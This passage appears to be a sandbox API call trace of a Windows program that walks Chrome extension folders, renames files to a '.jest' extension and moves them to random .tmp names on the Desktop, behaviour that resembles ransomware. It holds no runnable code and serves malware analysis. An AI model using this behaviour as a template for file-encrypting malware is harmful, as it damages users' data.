[0150.404] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.404] GetTickCount () returned 0x11575fb [0150.404] IsWindowVisible (hWnd=0x30268) returned 0 [0150.404] Sleep (dwMilliseconds=0x0) [0150.405] GetFullPathNameA (in: lpFileName="qtSPUs_D92QrHt0yjPoSD 1wR1rNuQFOz2pbfks70jD4lGN87m0nBVOVAEDGqvX4Ku7dOyIr8rMgVDED YA0cWTF29bXqdyw5IWPX.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qtSPUs_D92QrHt0yjPoSD 1wR1rNuQFOz2pbfks70jD4lGN87m0nBVOVAEDGqvX4Ku7dOyIr8rMgVDED YA0cWTF29bXqdyw5IWPX.tmp", lpFilePart=0x18e708*="qtSPUs_D92QrHt0yjPoSD 1wR1rNuQFOz2pbfks70jD4lGN87m0nBVOVAEDGqvX4Ku7dOyIr8rMgVDED YA0cWTF29bXqdyw5IWPX.tmp") returned 0x8f [0150.405] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html", lpFilePart=0x18e708*="main.html") returned 0x87 [0150.406] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qtSPUs_D92QrHt0yjPoSD 1wR1rNuQFOz2pbfks70jD4lGN87m0nBVOVAEDGqvX4Ku7dOyIr8rMgVDED YA0cWTF29bXqdyw5IWPX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qtspus_d92qrht0yjposd 1wr1rnuqfoz2pbfks70jd4lgn87m0nbvovaedgqvx4ku7doyir8rmgvded ya0cwtf29bxqdyw5iwpx.tmp")) returned 0 [0150.406] GetLastError () returned 0x2 [0150.406] GetLastError () returned 0x2 [0150.406] SetLastError (dwErrCode=0x2) [0150.406] GetLastError () returned 0x2 [0150.406] SetLastError (dwErrCode=0x2) [0150.406] GetLastError () returned 0x2 [0150.406] SetLastError (dwErrCode=0x2) [0150.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.406] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.407] GetFullPathNameA (in: lpFileName="qtSPUs_D92QrHt0yjPoSD 1wR1rNuQFOz2pbfks70jD4lGN87m0nBVOVAEDGqvX4Ku7dOyIr8rMgVDED YA0cWTF29bXqdyw5IWPX.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qtSPUs_D92QrHt0yjPoSD 1wR1rNuQFOz2pbfks70jD4lGN87m0nBVOVAEDGqvX4Ku7dOyIr8rMgVDED YA0cWTF29bXqdyw5IWPX.tmp", lpFilePart=0x18e6e4*="qtSPUs_D92QrHt0yjPoSD 1wR1rNuQFOz2pbfks70jD4lGN87m0nBVOVAEDGqvX4Ku7dOyIr8rMgVDED YA0cWTF29bXqdyw5IWPX.tmp") returned 0x8f [0150.407] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qtSPUs_D92QrHt0yjPoSD 1wR1rNuQFOz2pbfks70jD4lGN87m0nBVOVAEDGqvX4Ku7dOyIr8rMgVDED YA0cWTF29bXqdyw5IWPX.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x50537471, cFileName="Us_D92QrHt0yjPoSD 1wR1rNuQFOz2pbfks70jD4lGN87m0nBVOVAEDGqvX4Ku7dOyIr8rMgVDED YA0cWTF29bXqdyw5IWPX.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.407] GetLastError () returned 0x2 [0150.407] GetLastError () returned 0x2 [0150.407] SetLastError (dwErrCode=0x2) [0150.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.407] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.410] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.410] CoFreeUnusedLibraries () [0150.410] GetTickCount () returned 0x115760b [0150.411] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.411] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.411] GetTickCount () returned 0x115760b [0150.411] IsWindowVisible (hWnd=0x30268) returned 0 [0150.411] Sleep (dwMilliseconds=0x0) [0150.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.412] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.412] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.jest")) returned 1 [0150.415] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png", lpFilePart=0x18e6d8*="128.png") returned 0x87 [0150.415] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x0, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.415] GetLastError () returned 0x2 [0150.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.416] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.416] VarBstrFromR4 (in: fltIn=0x4794500d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.1") returned 0x0 [0150.416] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.417] CoFreeUnusedLibraries () [0150.417] GetTickCount () returned 0x115760b [0150.417] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.417] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.417] GetTickCount () returned 0x115760b [0150.417] IsWindowVisible (hWnd=0x30268) returned 0 [0150.417] Sleep (dwMilliseconds=0x0) [0150.418] GetFullPathNameA (in: lpFileName="MRTyUBSR7B-hLbQOdyzn2dUZCOxdhYI4gRwyI6Ixc64O2hC vRJXixB ZcPzdIC2AGcWv9HZhp--To1sn0XqU0o4-1LT5LpMuTRJ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MRTyUBSR7B-hLbQOdyzn2dUZCOxdhYI4gRwyI6Ixc64O2hC vRJXixB ZcPzdIC2AGcWv9HZhp--To1sn0XqU0o4-1LT5LpMuTRJ.tmp", lpFilePart=0x18e708*="MRTyUBSR7B-hLbQOdyzn2dUZCOxdhYI4gRwyI6Ixc64O2hC vRJXixB ZcPzdIC2AGcWv9HZhp--To1sn0XqU0o4-1LT5LpMuTRJ.tmp") returned 0x8e [0150.418] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png", lpFilePart=0x18e708*="128.png") returned 0x87 [0150.418] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MRTyUBSR7B-hLbQOdyzn2dUZCOxdhYI4gRwyI6Ixc64O2hC vRJXixB ZcPzdIC2AGcWv9HZhp--To1sn0XqU0o4-1LT5LpMuTRJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mrtyubsr7b-hlbqodyzn2duzcoxdhyi4grwyi6ixc64o2hc vrjxixb zcpzdic2agcwv9hzhp--to1sn0xqu0o4-1lt5lpmutrj.tmp")) returned 0 [0150.418] GetLastError () returned 0x2 [0150.419] GetLastError () returned 0x2 [0150.419] SetLastError (dwErrCode=0x2) [0150.419] GetLastError () returned 0x2 [0150.419] SetLastError (dwErrCode=0x2) [0150.419] GetLastError () returned 0x2 [0150.419] SetLastError (dwErrCode=0x2) [0150.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.419] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.420] GetFullPathNameA (in: lpFileName="MRTyUBSR7B-hLbQOdyzn2dUZCOxdhYI4gRwyI6Ixc64O2hC vRJXixB ZcPzdIC2AGcWv9HZhp--To1sn0XqU0o4-1LT5LpMuTRJ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MRTyUBSR7B-hLbQOdyzn2dUZCOxdhYI4gRwyI6Ixc64O2hC vRJXixB ZcPzdIC2AGcWv9HZhp--To1sn0XqU0o4-1LT5LpMuTRJ.tmp", lpFilePart=0x18e6e4*="MRTyUBSR7B-hLbQOdyzn2dUZCOxdhYI4gRwyI6Ixc64O2hC vRJXixB ZcPzdIC2AGcWv9HZhp--To1sn0XqU0o4-1LT5LpMuTRJ.tmp") returned 0x8e [0150.420] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MRTyUBSR7B-hLbQOdyzn2dUZCOxdhYI4gRwyI6Ixc64O2hC vRJXixB ZcPzdIC2AGcWv9HZhp--To1sn0XqU0o4-1LT5LpMuTRJ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7954524d, cFileName="UBSR7B-hLbQOdyzn2dUZCOxdhYI4gRwyI6Ixc64O2hC vRJXixB ZcPzdIC2AGcWv9HZhp--To1sn0XqU0o4-1LT5LpMuTRJ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.420] GetLastError () returned 0x2 [0150.421] GetLastError () returned 0x2 [0150.421] SetLastError (dwErrCode=0x2) [0150.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.421] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.429] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.430] CoFreeUnusedLibraries () [0150.430] GetTickCount () returned 0x115761a [0150.430] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.430] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.430] GetTickCount () returned 0x115761a [0150.430] IsWindowVisible (hWnd=0x30268) returned 0 [0150.430] Sleep (dwMilliseconds=0x0) [0150.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.432] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.432] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.jest")) returned 1 [0150.435] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", lpFilePart=0x18e6d8*="icon_128.png") returned 0x8a [0150.435] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x140, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1410150, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x146ad80, nFileSizeHigh=0x14520f0, nFileSizeLow=0x146c828, dwReserved0=0xe2, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.436] GetLastError () returned 0x2 [0150.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.436] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.436] VarBstrFromR4 (in: fltIn=0x4794500f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.12") returned 0x0 [0150.437] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.437] CoFreeUnusedLibraries () [0150.437] GetTickCount () returned 0x115761a [0150.437] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.437] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.437] GetTickCount () returned 0x115761a [0150.437] IsWindowVisible (hWnd=0x30268) returned 0 [0150.437] Sleep (dwMilliseconds=0x0) [0150.438] GetFullPathNameA (in: lpFileName="F7sXPbGKca_9ftnHDGJXKXe6OA7-BpRV06VF2ehYLVWkfTDKgZW6oT6BKp0pATgne8_vR9ySz-ZOdybmWTVvTrgBsywcb7XR1t2C.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F7sXPbGKca_9ftnHDGJXKXe6OA7-BpRV06VF2ehYLVWkfTDKgZW6oT6BKp0pATgne8_vR9ySz-ZOdybmWTVvTrgBsywcb7XR1t2C.tmp", lpFilePart=0x18e708*="F7sXPbGKca_9ftnHDGJXKXe6OA7-BpRV06VF2ehYLVWkfTDKgZW6oT6BKp0pATgne8_vR9ySz-ZOdybmWTVvTrgBsywcb7XR1t2C.tmp") returned 0x8e [0150.438] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", lpFilePart=0x18e708*="icon_128.png") returned 0x8a [0150.439] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F7sXPbGKca_9ftnHDGJXKXe6OA7-BpRV06VF2ehYLVWkfTDKgZW6oT6BKp0pATgne8_vR9ySz-ZOdybmWTVvTrgBsywcb7XR1t2C.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f7sxpbgkca_9ftnhdgjxkxe6oa7-bprv06vf2ehylvwkftdkgzw6ot6bkp0patgne8_vr9ysz-zodybmwtvvtrgbsywcb7xr1t2c.tmp")) returned 0 [0150.439] GetLastError () returned 0x2 [0150.439] GetLastError () returned 0x2 [0150.439] SetLastError (dwErrCode=0x2) [0150.439] GetLastError () returned 0x2 [0150.439] SetLastError (dwErrCode=0x2) [0150.439] GetLastError () returned 0x2 [0150.439] SetLastError (dwErrCode=0x2) [0150.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.439] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.440] GetFullPathNameA (in: lpFileName="F7sXPbGKca_9ftnHDGJXKXe6OA7-BpRV06VF2ehYLVWkfTDKgZW6oT6BKp0pATgne8_vR9ySz-ZOdybmWTVvTrgBsywcb7XR1t2C.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F7sXPbGKca_9ftnHDGJXKXe6OA7-BpRV06VF2ehYLVWkfTDKgZW6oT6BKp0pATgne8_vR9ySz-ZOdybmWTVvTrgBsywcb7XR1t2C.tmp", lpFilePart=0x18e6e4*="F7sXPbGKca_9ftnHDGJXKXe6OA7-BpRV06VF2ehYLVWkfTDKgZW6oT6BKp0pATgne8_vR9ySz-ZOdybmWTVvTrgBsywcb7XR1t2C.tmp") returned 0x8e [0150.440] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F7sXPbGKca_9ftnHDGJXKXe6OA7-BpRV06VF2ehYLVWkfTDKgZW6oT6BKp0pATgne8_vR9ySz-ZOdybmWTVvTrgBsywcb7XR1t2C.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x58733746, cFileName="PbGKca_9ftnHDGJXKXe6OA7-BpRV06VF2ehYLVWkfTDKgZW6oT6BKp0pATgne8_vR9ySz-ZOdybmWTVvTrgBsywcb7XR1t2C.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.440] GetLastError () returned 0x2 [0150.440] GetLastError () returned 0x2 [0150.440] SetLastError (dwErrCode=0x2) [0150.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.440] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.441] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.441] CoFreeUnusedLibraries () [0150.441] GetTickCount () returned 0x115762a [0150.441] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.441] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.441] GetTickCount () returned 0x115762a [0150.441] IsWindowVisible (hWnd=0x30268) returned 0 [0150.441] Sleep (dwMilliseconds=0x0) [0150.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436ab4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.442] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.442] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 